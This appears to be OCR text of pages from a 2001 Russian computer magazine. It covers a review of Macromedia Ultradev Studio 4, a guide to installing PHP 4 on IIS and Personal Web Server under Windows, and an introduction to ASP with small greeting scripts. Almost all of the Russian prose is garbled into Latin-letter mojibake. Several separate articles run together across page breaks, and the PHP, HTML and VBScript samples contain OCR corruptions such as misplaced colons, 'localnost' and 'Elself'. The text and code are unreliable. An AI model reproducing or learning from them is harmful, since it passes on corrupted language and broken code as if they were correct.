Ultradev. HoBbie KOMnoHeHTbi Flash Text m Flash 
Buttons no3BO/miOT co3AaBaTb rpacfiMHecKMe HaA- 
nMCM M MHTepaKTMBHbie KHOnKM B 3TOM cjDopMaTe, He 
noKyna^i nporpaMMy Macromedia Flash. 

Tenepb nepeMAeM k hoboct^m, mmcioiamm ot- 
HoiueHMe mnbKO k Ultradev. BM3ya^bHbie MHCTpy- 
MeHTbi b HeTBepToPi BepcMM no/iyn mji m noMOiAHMKa 
b ^MAe Live Objects, a mmchho KOMnoHeHTOB a / ifl 
npocToro npoeKTMpoBaHMii CTpaHMHeK, pa6oTaio- 
iamx c 6a30M AaHHbix, — npMMepoM MO>KeT 6biTb 
C03AaHMe hobom 3anMCM b 6a3e v\nv\ CTpaHMHKa 
A/ifl noMCKa. Tax >Ke npocTO 6^aroAap^ hobum 
S erver Behaviors C03AaBaTb CTpaHMH km, A-n^ pa6o- 
Tbi c KOTopbiMM Heo6xoAMMa no^b30BaTe^bCKa^i 
aBTopM3auM/i. A ec/iM BaM BApyr OKa>KeTC/i HeAO- 
CTaTOHHO npeACTaB^eHHbix Server Behaviors, b 
hobom Server Behavior Builder Bbi MO>KeTe C03Aa- 
BaTb mx caMM. 

Fireworks 4.0 

CocTaBHOM nacTbio Ultradev Studio AB/meTca rpa- 
c|DMHecKMM peAaKTop Fireworks 4.0. npoABMra/i ero, 
Macromedia npeTeHAyeT Ha oneHb npM6bmbHyio 
nacTb pbiHKa nporpaMMHoro o6ecneHeHM/i, KOTopyio 
b HacTOfliAee BpeM^i 33HMMaeT peAaKTop Adobe 
Photoshop. npeMMyiAecTBO Fireworks b tom, hto oh, 
b OT/iMHne ot Photoshop, c caMoro Hana^a npoeKTM- 


poBa^c^i pj\s\ C03AaHM/i web-rpac|DMKM m stom 3aAane 
noAHMHeHO Bee — ot MHTepc|3eMca ao MHTerpnpo- 
BaHHbix cfiyHKAMM. EiAe oahom 3HaHMMoPi no6eAOM 
Macromedia 51 B/i5ieTC5i MHTerpauM^i c Dreamweaver 
(m/w Ultradev), KOTopa^ b momcht Bbi6opa m h CT py- 
MeHTOB pa3pa6oTKM cbirpaeT A-n^ mhotmx no^b30Ba- 
Te^eM pemaioiAyio po^b. 

no/ib30BaTe/ibCKMM MHTepcjDeMC Fireworks b neT- 
BepTOM BepcMM npeTepne^ HeKOTopbie M3MeHeHMii. 
3 to CB 5i3aHO c TeM, hto Macromedia crpeMMTCfl npM- 
AaTb eAMHbiPi crn/ib BceM cbomm npoAyKTaM, npeA- 
Ha3HaneHHbiM pj\s\ web-AM3aMHa. TeHAeHAM^ 3aMeT- 
Ha m b HOBbix cJoyH KAM53X: noAAep>KKa peAaKTopa 
Dreamweaver (m/im Ultradev) nepe>KM^a CTO^b we 
60/lbWMe M3MeHeHM51, KOTOpbie npOM3BOAM/lMCb c 
eAMHCTBeHHOM ue^bio — yAo6cTBO pj\s\ no^b30Ba- 
Te^^i m 6o^ee^erKoe Mcno^b30BaHMe. H3MeHeHMii 
npeTepne^M TaKwe cJjyHKAMM pj\n MMnopTa m skc- 
nopTa cjDaM^OB cjDopMaTa Adobe Photoshop. Ocho- 
BbiBaacb Ha co6cTBeHHOM onbiTe, Mory noATBep- 
A MTb, HTO MMnopT C^aM/lOB C TeKCTOBbIMM C^O/IMM C 
MacxaMM npoMcxoAMT ^erxo m KoppeKTHO. 

Aono/iHMTe/ibHbie KOMnoHeHTbi 

CocTaBHOM HaCTblO KOMn/ieKTa nOCTaBKM flB/lfllOTCfl 
HenpeB30MAeHHbm b CBoeM poAe peAaKTop Home- 
Site 4.51 ( n/in BBEdit p,nn n^aTcfiopMbi Apple), IBM 
WebSphere Application Server n Cold Fusion Server 
KOMnaHMM Allaire, no Ao6poPi TpaAMUMM Macrome- 
dia, BMecTe c nporpaMMaMM nocTaB^5ieTC5i Mcnep- 
nbmaioiAafl AOKyMeHTaAM/i, a ee 3/ieKTpoHHbiM aHa- 
^or HaxoAMTC^i Ha MHCTa^^AMOHHOM CD. Ha 6yMare 
M3AaiOTC5i MHCTpyKAMM pj\s\ nporpaMM Dreamweaver, 
Ultradev m Fireworks, a b 3/ieKTpoHHOM BapnaHTe Ha 
CD HaxoAMTca AOKyMeHTauM^i eiAe m no paciuMpe- 
HMK) CfiyHKAMM M HanMC3HMK) C06CTBeHHblX KOMnO- 

HeHTOB A/ifl Ultradev m Fireworks. 

3 aK^K>HeHiie 

Ultradev Studio neTBepTOM BepcMM — sto npoAyMaH- 
Ha^i KO/uieKAM^ nporpaMM, KOTopbie He33BMCMMO Apyr 
OTApyra no/iyn m/im MecTO Ha pbiHKe. Ecm Bbi niAeTe 
MOiAHbiM MHCTpyMeHT web-pa3pa6oTKM, Ae^aio- 
LU,M M B03MO>KHblM BM3ya^bHOe C03AaHMe CTpaHMHeK, 
Bbi He nporaAaeTe, Bbi6paB 3 tot naKeT. K TOMy we 
nporpaMMbi Macromedia nepeA noKynKOM mowho on- 
po6oBaTb — 30-AHeBHbie BepcMM pacnpocrpaHfliOTCfl 
a6co^K)THo 6ecn^aTHo m mx mowho no/iyHMTb Ha caM- 
Te KOMnaHMM. 

■ ■ ■ AHApevi KoKoypoB 


Dreamweaver Ultradev 4 


BM3ya/lbHblM MHCTpyMeHT A/1R C03flaHMR 
web-CTpaHMA, B3aMMOfleMCTByiomMx c 6a30M 
AaHHbix 

MMHMMa/lbHbie Tpe 60 BaHMR ► 

• Pentium 166 MR-i, 64 M6aMT 03X 170 M6aMT 
Ha wecTKOM AMCKe, Windows 95/98/Me/NT/2000 

• Mac — PowerPC, 64 W\6am 03X 130 M6awx Ha 
wecTKOM AMCKe, Mac OS 8.6 m/im Bbirne 

ripoM3BOAMTe/ibD Macromedia, CaH-OpaHLiMCKO, 
KanM4>opHMH, CLUA 


CHIP 
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NTERNET web-pa3pa6oTKa m aAMMHMCTpnpoBaHMe 


I/I H CTa j] J 1 fl U M 51 M nepBOe 3 HaKOMCTBO c PHP 

PHP: caMbm 

rnnepTeKCTOBbm 

npenpoueccop 

3aHMMa^icb co3flaHMeM web-crpaHnneK, Kawflbin H3 Bac HaBepmiKa cra/wnBa/ioi c fl3biK0M PHP. 
Ec/in Bbi He MMeeTe onbua pa6oibi c hum, to Mbi noMOJKeM BaM 3acraBMTb pa6oTaTb stot 
rMnepTeKCTOBbiPi npenpopeccop, n noroBopnM o tom, KaK MHCTa/i/uipoBaTb n 3anycTMTb PHP 
b MS Windows Ha pa3/inHHbix web-cepBepax. 


K orfla b 1994 rofly PacMyc JlepAopcp npncTynn/i 
k HanMcaHMK) cpaBHme/ibHO npocron nporpaM- 
Mbi, npeflHa 3 HaHeHHOM ajia KOHTpo/m 3 a AOcrynoM Ha 
ero dpaHMHKM, hmkto m He npeflno/iara/i, hto mmch- 
HO C Hee H 3 HHeTCfl HOBbIM 3 Tan B C 03 flaHMM MHTep- 
HeT-npM/io>KeHMM. riocTeneHHo aBTop coBepmeHCT- 
BOBa/l M paCLUMp 53 /l B 03 MOKHOCTM CBoero AeTMiua, ne- 
penMca/i AApo Ha A 3 biKe C (nocKO/ibKy McxoAHaa 
BepcMfl, HanMcaHHaa Ha A 3 biKe Pert HeonpaBAaHHO 
3 arpy>Ka/ia cepBep), Aono/iHM/i ee no/ib 30 BaTe/ibCKOM 
AOKyMeHTauneM n ony 6 /iMKOBa/i noA Ha 3 BaHMeM 
Personal Home Page — PHP. Pacryiuee hmc/io no/ib- 
30 BaTe/ien PHP noKa 3 a/io, hto PacMyc XlepAopcja 3 Ha- 


HMTe/ibHO ynpocrn/i n ycKopn/i pa6oiy mhotmm npo- 
rpaMMMCT3M MHTepHeT-npM/10>KeHMM BO BCeM MMpe. 

Fn a b h o n npMHMHOM nony/iflpHOCTM PHPabm- 
ziocb to, hto b cncreMy 6bi s \ bk/hohch MHCTpyMeHT, 
KOTopbm no3BO/meT zierKO npon3BOAMTb SQL- 
3anpocbi c WWW-CTpaHMA m co3AaBaTb c|aopMy/i53- 
pbi (nporpaMMa Form Interpreter — FI). TaK B03- 
HMK/ia CMCTeMa PHP/FI 2.0. 

CMCTeMa, pa3yMeeTCfl, pa3BMBa/iacb Aa/ibwe m 
Aono/iHA/iacb mhokcctbom HOBbix c|)yHKunn. B Ha- 
CTOfliAee BpeMA ywe yBMAe/ia CBeT PHP 4.0.4, n 
nocKO/ibKy nepBOHana^bHoe Ha3BaHne cMCTeMbi 
y>Ke HeAOCTaTOHHO no/iHO OTpawa/io ee c|)yHKunn, 
ziorMHHbiM 6bi/io noflB/ie- 
Hne hoboto peKOMeHAye- 
moto o6o3HaHeHi/m — 
PHP: rnnepTeKCTOBbin 
npenpoueccop 
(Hypertext 

Preprocessor). 3Hann- 
Te/ibHoe npenMyiuecTBO 
3TOM CMCTeMbi — B03- 

M0>KH0CTb nepeHoca 
Me>KAy p33/lMHHblMM 
n^aTc|3opMaMM m cepBe- 
paMM, npocTOTa Mcno/ib- 
30B3HMfl M C03AaHMfl ft \ A - 
HaMMHeCKMX CTpaHMHeK 
M, HaKOHeU, TO, HTO OHa 
pacnpocrpaHfleTCfl 6ec- 
n/iaTHO. 

CGI V.ISAPI 

TnnepTeKCTOBbiM npenpo- 
ueccop PHP MO>KeT npn- 
MeHjiTbCii Ha cepBepax 
AByM^i cnoco 6 aMM. flep- 



a Pmc. 1. B 3 tom OKHe Mbi mo>k 6 m zierKO nepeK/nonaTb saK/iaAHM, 
c noMOiubio KOTopbix npoBOAMTcn HacrpoMKa PHP b IIS 5.0 


BbiM BapnaHT ocHOBaH Ha CGI (Common Gateway 
Interface), to ecTb MHTepcfieMce a nn pa3/iMHHbix 
yc/iyr (HanpMMep, 6a3bi AaHHbix n/in noHTbi), c/iy- 
>KaiAeM p,nn o6MeHa ashhumm c MHTepHeT-cny>K- 
6om. Ero mo>kho npocTO onncaTb c noMOiubio c/ie- 
Aytoiuero npMMepa: no/ib30BaTe/ib 3ano/iHfleT cjaop- 
My m OTnpaB/meT ee Ha cepBep. CepBep nepeAaeT 
no/iyneHHbie AaHHbie nporpaMMe, KOTopaa c mx 
yneTOM co3AaeT HOByio CTpaHMHKy CeTM. KaK Mbi 
y>ne ynoMAHy/in, CKpMnTbi CGI pa6oTaiOT Ha CTopo- 
He cepBepa. Ctomt ynoMAHyTb, hto CKpnnTbi CGI 
MMeiOT cymecTBeHHbiM HeAOCTaTOK, — b Ka>KAbiM 
MOMeHT BpeMeHM ohm npeACTaB/m iot co6om pa3- 
po3HeHHbie npoueccbi, Mcno/ib3yiOLAne co6cTBeH- 
Hoe aApecHoe npocTpaHCTBO, m 3to npM boamt k 
H eo6xoAMMOCTM Mcno^b30BaTb Aono^HMTe^bHbie 
MHCTpyKUMM, KOTOpbie npMXOAMTCfl BbinO/lHflTb Ha 
cepBepe. 

3Ty npo6/ieMy nbiTaera pewMTb ISAPI 
(Internet Server Application Program Interface) 

— BTOpOM BapMaHT npMMeHeHMfl PHP b I/I HTepHe- 
Te. ISAPI — 3to MHTepcjDeMC, noAo6HbiM CGI, ho 
BM eCTO BHeiilHMX npM/lOKeHMM oh ncno/ib3yeT AH- 
HaMMHecKMM K3Ta/ior (DLL), m 3to noBbimaeT cko- 
pocTb b33mmoagmctbm^. Mcno^b3y5i ISAPI, mo>kho 
co3AaTb npM^o>KeHM5i, KOTOpbie 6yAyT pa6oTaTb 
KaK cocTaB^^ioiAa^ HTTP (Hypertext Transfer 
Protocol) npouecca m aApecHoro npocrpaHCTBa. 

3tm KaTa/iorM DLL 3arpy>Kaiora b naM^Tb KOMnbio- 
Tepa b MOMeHT crapTa HTTP m HaxoA^TC^i TaM TaK 
AO^ro, CKO/i bKO 3 to 6yAeT Heo6xoAMMO. 

IIS4.0 A5.0 

3aMMeMC5i Tenepb HenocpeACTBeHHO MHCTa/ui5iUMeM 
o6eMx BepcMM PHP Ha IIS (Internet Information 
Server) 4.0 n 5.0. Hana/ia, kohchho, Hy>KHO 
h3mtm MHCTa/uiiiuMOHHbiM naKeT (b HacTo^uuee » 


CHIP 
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▲ Pmc. 2. ABTOMamHecKafl MHCTa/i/ifiuim PHP npoeeAeT dasoeyio ycTaHOBKy cepBepa 
WWW 3a no/ib 30 BaTe/iq 


» BpeMfl aKTya/ibHaa Bepcna pj\n Windows Ha3biBaeT- 

cn php-4. 0.4pLl-Win32.zip). Pa3naKynie stot 

cjaa m/i, HanpMMep, b KaTa/ior «C:\PHP4\» n fleMCT- 

Bynie comacHO HMwenpMBeAeHHOM MHCTpyKAMM. 

IIS 4.0+ (ISAPI): 

1) CHana/ia Heo6xoflMMO CKonMpoBaTb cj/an/i 
php.ini-dist b flnpeKTopnio Windows (o6biHHo 
C:\WINNT m/im C:\Windows). 3aieM Hy>KHO nepe- 
MMeHOBaTb 3tot cj/aM/i b php.ini n oipeflaKTnpo- 
Baib nym k n h cia/ui m po Ba h h bi m cfiaMjiaM, Kaia- 
zioraM m t. a- 

2) 3anycTme M3 MeHio IlycK > llporpaMMbi > I/Ihct- 
pyMembi p,nn ynpaB/ieHMA > AAMMHMcrpaTop 
c/iy>K6 cem MHTepHeT — b tom c/iynae, ec/iM Bbi 
pa6oiaeie b MS Windows 2000 (b c/iynae 
Windows NT 4.0 — Internet Service Manager). 

3) B zieBon naHe/in kohco/im C/iy>K6a IIS me/iKHme 
npaBOM KHonKOM Ha cmn6MKe Default Web Site 
(1/lcxoAHbiM cepBep WWW) n/in mnbKO Ha nanxe, 
b KOTopoPi Bbi co6Mpaeiecb 3anycKaTb CKpumbi 
PHP, M3 MeHfo Bbi6epMTe Cbomctb 3 (Properties). 

4) Ha BK/iaAKe ISAPI Filters (On/ibTpbi ISAPI) ao- 
6aBbTe HOBbiPi cJ/M/ibTp ISAPI (KHonKa Add.../flo- 
6aBMTb...), b oKHe Filter Properties (CBoncTBa 
cfiM^bipa) Ha30BMTe HOBbiPi c|)MjibTp PHP m ycra- 
HOBMTe nyTb k cfiaMjiy php4isapi.dll. 

5) Ha BK/iaAKe Home Directory (floMawHAfl AMpeK- 
TopMii) lAe/iKHMTe no KHonxe Configuration... 
(KoHcjDMrypauM^...). 

6) B nofl bm BL ueMCfl OKHe Bbi6epMTe HacTpoMKy 
npM/ioweHMfl (App Mappings) m Ha>KMMTe Add 
(Ao6aBMTb). 

7) B c^eAyfoiAeM OKHe 3aAaMTe nyTb k cJ/aM/iy 
php4isapi.dll. Tenepb Heo6xoAMMO yciaHOBMTb 
paaunpeHMfl (Extension) cfiaM/ioB php, o6biHHo 


.php. BK/noHMTe Script Engine (MaiuMHy cueHa- 
pneB) m noATBepAMTe onepapuio. 

8) Ha BK/iaAKe Documents (cm. pnc. 1) Bbi6epMTe 
Add... (flo6aBMTb...) m b AMa/ioroBOM OKHe yKa- 
>KMTe, k npMMepy, index.php, KaK Ha3B3Hne mc- 
xoahoto AOKyMeHTa. 

9) riepe3anycTMTe IIS — MHCTa/umAHfl 3aKOHHeHa! 

IIS 4.0+ (CGI) 

1) C/ieAyMTe nyHKTaM 1, 3, 5, 6 HacrpoMKM ISAPI. 

2) 3aAaMTe nyTb k cfiaMjiy php.exe, HanpMMep, 
«C:\PHP4\PHP.EXE». YcTaHOBme pacwMpeHMfl 
(.php) m BK/itOHMTe Script Engine (MawMHy 
cueHapueB). 

3) Ao6aBbTe cj/aM/ibi .php b AOKyMeHTbi cepBepa ceTM. 

PWS 

B 3tom pa3Ae/ie onMcaHbi o6a BapuaHTa MHCTa/i/m- 

Amm CMdeMbi PHP Ha PWS (Personal Web Server). 

PWS 4.0+ (ISAPI) 

1) CMOTpme onucaHMe mcjannn^m p,nn IIS 4.0+ 
(ISAPI). 

2) OipeAaKTMpyMTe cj/aM/i PWS-php4isapi.reg (b 
noAA^peKTopMM Isapi) TaK, HTo6bi oh OTpawa/i 
pa3MeiAeHMe cfiaM/ia php4isapi.dll, o6biHHo 3 to 
B bim^AHT c/ieAytOLAMM o6pa30M: 

[ H K EY_ LOC A L_M AC H I N E\SYST E M \ 
CurrentControlSet\Services\w3svc\parameters\ 
Script Map]«.php»= «C:\\PHP4\\php4isapi.dll». 
flBa pa3a LAe/iKHMTe Ha hobom cfiaMjie m noATBep- 
AMTe Bbi6op b Ana^oroBOM OKHe PeAaKTop peec- 
Tpa (Tax Bbi BHeceTe M3MeHeHMA b peecTp). 

3) B PWS LAe/iKHMTe npaBOM KHonKOM MbiuiM no am- 
peKTopMM, b KOTopyio Bbi co6MpaeTecb ycTaHo- 
BMTb noAAep>KKy PHP, m Bbi6epMTe Properties 


(CBOMCTBa) — BK/iiOHMTe Execute (3anycK) m 
noATBepAMTe cbom Bbi6op. 

PWS 4.0+ (CGI) 

1) CMOTpMTe onMcaHMe MHCTa/i/iiiAMM A-n^ US 
4.0+ISAPI. 

2) 06pa6oTaMTe cj/a m/i PWS-php4cgi.reg, HTo6bi oh 
OT pawa/i pa3MeiAeHMe $av\na php.exe, o6biHHo 
3 to Bbim^AHT TaK: 

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl 
Set\Services\w3svc\parameters\ScriptMap] 
«.php»= «C:\\PHP4\\php.exe». flBa pa3a me/iK- 
HMTe no HOBOMy cfiaMjiy m noATBepAMTe Bbi6op b 
AMa/ioroBOM OKHe peAaKTop peecTpa. 

3) B PWS lAe/iKHMTe npaBOM KHonKOM no AnpeKTO- 
pMM, B KOTOpyiO Bbi XOTMTe yCT3H0BMTb nOAAGp>K- 
Ky PHP, m Bbi6epMTe Cbomctb 3. BK/noHMTe 3anycK 
m noATBepAMTe Bbi6op. 

A KaK npoBepMTb, noAAepwMBaera j \ m PHP 
cepBepoM? B /iio6om tcctobom peAaKTope AOCTa- 
tohho C03AaTb cJ/aM/i — HanpMMep, pozdrav.php, 
C0Aep>KaiAMM: 

<?php 

echo "Hello PHP": 

?> 

Tenepb pa3MecTMTe stot cJ/aM/i b pa6oneM am- 
peKTopnn cepBepa — o6biHHo C:\inetpub\ 
wwwroot\ m b KaKOM-HM6yAb 6poy3epe 3aAaMTe aA- 
pec AaHHoro cepBepa, Aono/iHeHHbm /pozdrav.php, 
HanpMMep, http://localnost/pozdrav.php. Ecjim no- 
^BMTCii HaAnMCb «Hello PHP!», 3H3hmt, 6a30Baa mh- 
cra/i/mAMA PHP npoBeAeHa Ha «otjimhho»! 

B HacTO^iAee BpeMA mo>kho CKanaTb m mhct3/i- 
jiflAMOHHbiM naKeT php401pll-instaler.exe, koto- 
pbiM aBTOMaTMHecKM npoBeAeT npouecc ycTaHOBKM 
CGI-BepcMM PHP (cm. pnc. 2) IIS, PWS m 
X itami. Yhtmtc, hto m b stom c/iynae npMAeTca 
BpyHHyio ycTaHaB/iMBaTb Aono/iHMTe/ibHbie cj/yH k- 
Amm m yc/iyrM PHP. 

3aK/noHeHne 

HaAeiocb, hto npMBeAeHHaa MHcjjopMaAM^ noMO>KeT 
BaM npM C03A3HMM web-CTpaH MneK c noMOiAbio 533biKa 
PHP b cpeAe MS Windows, a KOHKpeTHee Ha cepBepax, 
nocTaB^^eMbix KOMnaHMeM Microsoft p,nn onepaAMOH- 
Hbix CMCTeM Windows 9x/MS/NT/2000. Tax hto, bo3- 

MO>KHO, Mbl CKOpO CT3HeM CBMAGTe/151MM UJMpOKOrO 
pacnpocTpaHeHM^i stoto 6ecn^aTHoro nporpaMMHoro 
o6ecneneHM^ Ha n^aTcfiopMax, OT/iMHHbix ot Unix. 

■ ■ ■ Ceprevi BopoHioK 


COB6T 


Ec^m y Bac, HecMOTpa Bee BaniM ycM/iM^, Ka hoa-hm- 
6yAb BepcM^ CGI PHP He pa6oTaeT, nonpo6yMTe 
3anycTMTb nporpaivuviy php.exe c napaMeTpaivm 
%s%s, to ecTb «C:\PH P4\php.exe %s%s». 


CHIP 
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NTERNET web-nporpaMMMpoBaHMe 



BpeMeHa, KorAa MHTepHeT-pa3pa6oTHMKM o6xoAM/incb oahmm TO/ibKO HTML, ywe asbho cia m MdopneM. 
J1 io 6 om cepbe3HbiPi pecypc b 1/lHTepHeie cePiHac HeMbic/iMM 6e3 B3aMMOA6MCTBMfl c 6a3aMM AaHHbix, 
o6pa6oTKM K/inemcKkix 3anpocoB, Aa m npocTO MHTepaKTMBHoro B3anMOAeMCTBMfl c no/ib30BaTejiflMM. 


T paflMUMOHHo 3Ta 3aflana pewa/iacb npw noMO- 
imm CGI (Common Gateway Interface) — mh- 
TepcfieMca o6iAero w/no3a, Korfla p,nn o6pa6o™ no- 
CTynuBiuero ot mine HTa 3anpoca Ha cepBepe 
3anycKa/iocb OTfle/ibHoe npn/ioweHne, 3aHMMaioiMe- 
ecn o6pa6oTKOM no/iyneHHbix AaHHbix m reHepnpy- 
foiMee A/m K/iMeHTa cipaHnuy c pe3y/ibraTaMM o6pa- 

60TKM. y 3 TOM CMCTeMbl 6bl/lM KaK CBOM n/llOCbl, TaK 
M CBOM MMHyCbl. 

K n/nocaM npe>Kfle Bcero othocmtca He3aBMcn- 
MOCTb CGI-npn/ioweHMn m caMoro cepBepa, to ecTb 
/no6an oiuM6Ka b npn/ioweHMM HMCKO/ibKO He no- 
B/iMneT Ha pa6oTocnoco6HocTb cepBepa b AejiOM. 

A k MMHycaM b nepByio onepeflb othocmtca to, hto 
pj\s\ Ka>Kfloro 3anpoca 3anycKaeTcn OTAe/ibHoe npn- 
/loweHne. 3 to He crpawHo, ec/in 3anpocoB hcmho- 
ro. A ec/in cepBepy npMxoflMTcn o6pa6aTbiBaTb Tbi- 
cahm 3anpocoB b MMHyTy? Ka>Kfloro 
CGI-npn/ioweHMn co3flaiOTcn cneuna/ibHbie CTpyKTy- 
pbi BHyTpM flflpa OC, Bbifle^neTcn naMATb, 3arpywa- 
tOTcn c flMCKa flaHHbie npM/ioweHMn, Bbino/iHneTCfl 
ero CBn3b c flMHaMMHecKMMM 6M6/iMOTeKaMM. A ec/iM 
k TOMy >ne ycTaHaB^MBaeTcn CBA3b c cepBepoM 6a3bi 
AaHHbIX, TO BpeMn OTK/lMKa MO>KeT CTaTb C/l M LU KO M 
60/lbLUMM. 


HTo6bi M36e>KaTb HepauMOHa/ibHOM TpaTbi pe- 
cypcoB onepauMOHHOM CMCTeMbl, KopnopauneM Mic- 
rosoft 6bi/ia pa3pa6oTaHa TexHO/iornn ASP (Active 
Server Pages) — aKTMBHbix cepBepHbix crpaHMu, 
KOTopan no3BO/meT o6pa6aTbiBaTb 3anpocbi K/ineH- 
tob, B3aMMOfleMCTBOBaTb c 6a3aMM AaHHbix, pa6o- 
TaTb C CfiaM/lOBOM CMCTeMOM M TeHepMpOBaTb nOTOK 
BbiBOAa BHyTpM caMoro web-cepBepa, C03AaBan 
Ka>KAOM 3aAaHM OTAe/ibHbm noTOK. ripM stom mc- 
no/ib3yiOTCfl y>Ke 3arpy>KeHHbie AHHaMMHecKMe 6m6- 
TlMOTeKM. 

Bo Bcex yne6HMKax no ASP noneMy-TO noApa3y- 
MeBaeTcn, hto ASP-cxpMnT AO/iweH nncaTbcn Ha 
VBScript. llonaAa/iMCb Aa>Ke yTBepwAGHnn, hto ASP 
— 3to ype3aHHbm BapnaHT Basic. Bee >Ke ASP — 
3to He CKpMnTOBbiM n3biK, a TexHO/iorMn o6pa6oTKM 
CKpMnTOB Ha cepBepe. Eo/iee Toro, Mcno/ib30BaHne 
VBScript BOBce He o6n3aTe/ibHO, c tbkmm we ycne- 
xom mowho ASP-CKpMnTbi nMcaTb m Ha JavaScript 
(hto a o6biHHO m Ae/iaio — TaK MHe npMBbiHHee). 

ripocTeMiuee npMMeHeHMe ASP coctomt b nepe- 
Hoce CKpMnTOB, OTBenaioiAMx 3 a AHHaMMHecKoe reHe- 
pnpoBaHne noTOKa BbiBOAa, c K/iMeHTCKOM Ma lu m h bi 
Ha cepBep, hto no 3 BO/meTyMeHbwnTb Harpy3Ky Ha 
K/iMeHTa, He nepeAaBaTb eMy m 3 /imlijhk)io MHcfiopMa- 


AMio m, bo3mo>kho, CKpbiTb ot Hero caM koa CKpnnTa. 

HanpMMep, Heo6xoAMMO, HTo6bi Ha crpaHMAe 
nonB/m/iocb npMBeTCTBMe no/ib30BaTe/no. Ho oho 
AO/DKHO 6blTb p33/lMHHblM, B 33BMCMMOCTM OT Bpe- 
MeHM cyTOK. 3Ty 3aAany mowho peuiMTb c noMOiAbio 
AMHaMMHecKOM reHepauMM noTOKa BbiBOAa m Ha 
K/lMeHTCKOM MaiuMHe: 

<html> 

<head> 

<title>IIpMMep 1 — 

reHepaiiviH noTOKa BbiBOAa</title> 

</head> 

<body> 

<script language="javascript" 

type="text/javascript" > 

<! — 

var strGreeting ="flo6poe yTpo!"; 
var objDate = new Date(); 
if ((objDate. getHours() >11) 

&& (objDate.getHours() < 18)) 
strGreeting ="flo6pbin AeHb!"; 
if (objDate. getHours() > 17) 

strGreeting ="flo6pbin Benep!"; 

» 


CHIP 


M K) H b 


2 0 0 1 


h a h a ji o p a 6 o t bi c ASP 


89 


document.write("<hl>" + strGreeting 
+ "</hl>"); 

//-> 

</script> 

</body> 

</html> 

Ho ec/in y no/ib30BaTe/m OTK/noneHa noflflep>K- 
Ka cKpMnTOB m/im (hto ceMnac MeHee BepoaTHo) 
6poy3ep HacTO/ibKO crapbm, hto CKpnnTbi noHM- 
MaTb He cnoco6eH, to no/ib30BaTe/ib He yBMflMT bo- 
o6iMe Hi/inero. Bot npMMep stom >Ke 3aflaHM, Bbino/i- 
HeHHOM b ASP: 

<%@ language="VBScript" %> 

<html> 

<head> 

<title>IlpMMep 2 — 

reHepaijviH ASP-CTpaHvmbi</title> 

</head> 

<body> 

<% 

dim strGreeting 
strGreeting ="flo6poe yTpo" 

If Hour(Now) > 11 And Hour(Now) < 18 

Then strGreeting ="flo6pbin aeHb" 
Elself Hour(Now) >17 

Then strGreeting ="flo6pbin Benep" 

End If 
%> 

<hl><%= strGreeting %></hl> 

</body> 

</html> 

CTOMT OTMeTMTb, HTO 3TOT npMMep He COBCeM KOp- 
peKTeH, TaK KaK no/ib30BaTe/ib no/iyHMT pe3y/ibraT Ha 


ocHOBaHMM TeKyiMMx ycTaHOBOK BpeMeHM Ha cepBe- 
pe, fla>Ke ec/iM oh >KMBeT Ha flpyroM CTopoHe 3eM/iM. 
Ho 3TO JIMLlib npMMep Toro, HTO MO>KHO Cfle^aTb C MC- 
no^b30BaHMeM ASP m Hero fle/iaTb He ctomt. 

06paTMTe BHMMaHMe Ha to, hto b Hana/ie dpama 
noaBM/iacb KOHCTpyKUM^: 

<%@ language="VBScript" %> 

OHa onpeAe/meT, KaKOM A3biK cueHapM* Mcno/ib- 
3yeTca Ha ashhom crpaHMue. Rnn Ka>KflOM crpaHMUbi 
5l3blK MO>KeT 6blTb CBOMM, HO B paMKaX KOHKpeTHOM 

CTpaHMUbi oh flo^>KeH 6biTb oflHMM m TeM >Ke. rio- 


nblTKa o6bflBMTb 51 3 bl K CKpMnTa B Te/ie CTpaHMUbi 
Bbi30BeT oibM6Ky. OpameHTbi cepBepHoro KOfla 
o6o3HanaiOTC5i ymoBbiMM CKo6KaMM co 3H3KOm npo- 
ueHTa <% %>. 

B pe3y/ibraTe Bbino/iHeHMA cepBepoM AaHHoro 
CKpMnTa no/ib30BaTe/ib no/iyHMT c/ieflyiomMM HTML- 
KOfl (npeAno/iaraeTOi, hto Ha flBope 6o/ibwe 6 na- 
cob Benepa): 

<html> 

<head> 

<title>IIpnMep 3 — 

reHepaijMH ASP-CTpaHvmbi</title> 

</head> 

<body> 

<hl>flo6pbin Benep</hl> 

</body> 

</html> 


OneBMAHO, hto c tskmm koaom hm y oahoto 6po- 
y3epa npo6/ieM He B03HMKHeT! Ho 3to HacmnbKO 
npocToe m Aa>Ke npMMMTMBHoe Mcno/ib30BaHMe Tex- 
HO/IOTMM ASP, HTO epaBHMTb erO M0>KH0 /lMLLIb, KaK 
3TO HM 6aHa/lbHO 3ByHMT, C 3a6MBaHMeM TB03AGM 
MMKpocKonoM. Ha caMOM Ae/ie ccjoepa npMMeHeHM5i 
ASP BecbMa uiMpoKa. 

y HCTOKOB 

ASP — npoAyKT Microsoft, m Bno/iHe ecTecTBeHHO, 
hto m ero noAAep>KKa ocyLAecTB/meTCfl co6cTBeHHbi- 
mm MHTepHeT-cepBepaMM, b nepByio onepeAb Inter- 
net Information Server HaHMHaa c TpeTbeM BepcMM. 


TaK hto, ec/iM Bbi pa6oTaeTe noA IIS, to MO>KeTe 
CMe/io Mcno^b30BaTb b cbomx npoeKTax ASP-TexHO- 
ziorMK) — cepBep noMMeT. 

To, hto He y Bcex ctomt Windows NT Server, sto 
He 6eAa. TexHO/iorMio ASP noAAep>KMBaiOT T3K>Ke m 
Windows NT Workstation npM ycTaHOB/ieHHOM Peer 
Web Services (oAHopaHroBbie web-cepBMCbi), a tsk- 
>Ke m Windows 95/98 npM ycTa hob/i chhom Personal 
Web Server. B ue/iOM bo3mo>khoctm y hmx nyrb 
CKpoMHee, neM y IIS, ho ohm b coctoahmm no/iHO- 
ueHHo pa6oTaTb c ASP. 

KaK npaBM/io, IIS Mcno/ib3yeTC5i no CBoeMy np5i- 
MOMy Ha3HaneHMio, to ecTb KaK web-cepBep, a Peer 
Web Services Ha Windows NT Workstation m Perso- 
nal Web Server noA Windows 95/98 — p,nn pa3pa- 
6otkm m TecTMpoBaHMii ASP-crpaHMu. Personal Web 
Server p,nn Windows 95/98 mo>kho CKanaTb Ha caMTe 
Microsoft. Peer Web Services bxoamt b Windows NT 
Option Pack. 

CTpyKTypa h pasivieineHMe ASP-caMTa 

Tohho TaK >Ke, KaK m b c/iynae c HTML-caMTOM, nan- 
Ka c BaniMM npoeKTOM 6yAeT HaxoAMTbC5i, CKopee 
Bcero, b KaTa/iore \wwwroot, Ha KOTopbiM 6yAeT 
